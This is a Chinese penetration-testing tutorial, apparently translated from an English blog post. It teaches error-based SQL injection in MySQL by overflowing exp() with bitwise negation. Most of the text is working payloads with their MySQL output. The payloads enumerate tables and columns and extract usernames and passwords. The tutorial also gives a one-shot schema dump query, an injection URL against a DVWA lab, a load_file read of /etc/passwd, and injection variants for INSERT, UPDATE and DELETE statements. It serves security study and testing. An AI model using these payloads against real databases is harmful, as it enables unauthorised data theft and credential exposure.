[渗透测试]使用exp进行SQL报错注入

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此文为BIGINT Overflow Error Based SQL Injection的具体发现与实践

from:https://osandamalith.wordpress.com/2015/07/15/error-based-sql-injection-using-exp/

0x01 前言概述


mysql> select exp(709);
+-----------------------+
| exp(709)              |
+-----------------------+
| 8.218407461554972e307 |
+-----------------------+
1 row in set (0.00 sec)

mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'

MySQL中,explnlog的功能相反,简单介绍下,就是logln都返回以e为底数的对数,见等式:

enter image description here

enter image description here

mysql> select log(15);
+------------------+
| log(15)          |
+------------------+
| 2.70805020110221 |
+------------------+
1 row in set (0.00 sec)


mysql> select ln(15);
+------------------+
| ln(15)           |
+------------------+
| 2.70805020110221 |
+------------------+
1 row in set (0.00 sec)

指数函数为对数函数的反函数,exp()即为以e为底的对数函数,如等式:

enter image description here

mysql> select exp(2.70805020110221);
+-----------------------+
| exp(2.70805020110221) |
+-----------------------+
|                    15 |
+-----------------------+
1 row in set (0.00 sec)

0x02 注入


当涉及到注入时,我们使用否定查询来造成“DOUBLE value is out of range”的错误。作者之前的博文提到的,将0按位取反就会返回“18446744073709551615”,再加上函数成功执行后返回0的缘故,我们将成功执行的函数取反就会得到最大的无符号BIGINT值。

mysql> select ~0;
+----------------------+
| ~0                   |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)


mysql> select ~(select version());
+----------------------+
| ~(select version())  |
+----------------------+
| 18446744073709551610 |
+----------------------+
1 row in set, 1 warning (0.00 sec)

我们通过子查询与按位求反,造成一个DOUBLE overflow error,并借由此注出数据。

>`exp(~(select*from(select user())x))`

mysql> select exp(~(select*from(select user())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

0x03 注出数据


得到表名:

select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));

得到列名:

select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x));

检索数据:

select exp(~ (select*from(select concat_ws(':',id, username, password) from users limit 0,1)x));

0x04 一蹴而就


这个查询可以从当前的上下文中dump出所有的tables与columns。我们也可以dump出所有的数据库,但由于我们是通过一个错误进行提取,它会返回很少的结果。

exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))

http://localhost/dvwa/vulnerabilities/sqli/?id=1' or exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))-- -&Submit=Submit#

enter image description here

0x04 读取文件


你可以通过load_file()函数来读取文件,但作者发现有13行的限制,该语句也可以在BIGINT overflow injections中使用。

select exp(~(select*from(select load_file('/etc/passwd'))a));

enter image description here

注意,你无法写文件,因为这个错入写入的只是0。

mysql> select exp(~(select*from(select 'hello')a)) into outfile 'C:/out.txt';
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'hello' from dual)))'

# type C:\out.txt
0

0x05 Injection in Insert


按部就班就好

mysql> insert into users (id, username, password) values (2, '' ^ exp(~(select*from(select user())x)), 'Eyre');
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

对于所有的insert,updatedelete语句DIOS查询也同样可以使用。

mysql> insert into users (id, username, password) values (2, '' | exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)), 'Eyre');
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '000
newdb::users::id
newdb::users::username
newdb::users::password' from dual)))'

0x06 Injection in Update


mysql> update users set password='Peter' ^ exp(~(select*from(select user())x)) where id=4;
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

0x07 Injection in Delete


mysql> delete from users where id='1' | exp(~(select*from(select user())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

0x08 总结


和前面的BIGINT注入一样,exp注入也适用于MySQL5.5.5及以上版本。以前的版本对于此情况则是“一言不发”。

mysql> select version();
+---------------------+
| version()           |
+---------------------+
| 5.0.45-community-nt |
+---------------------+
1 row in set (0.00 sec)


mysql> select exp(710);
+----------+
| exp(710) |
+----------+
|   1.#INF |
+----------+
1 row in set (0.00 sec)


mysql> select exp(~0);
+---------+
| exp(~0) |
+---------+
|  1.#INF |
+---------+
1 row in set (0.00 sec)

可能还有其他的函数会产生这种报错呦。(有待你发现啦:)

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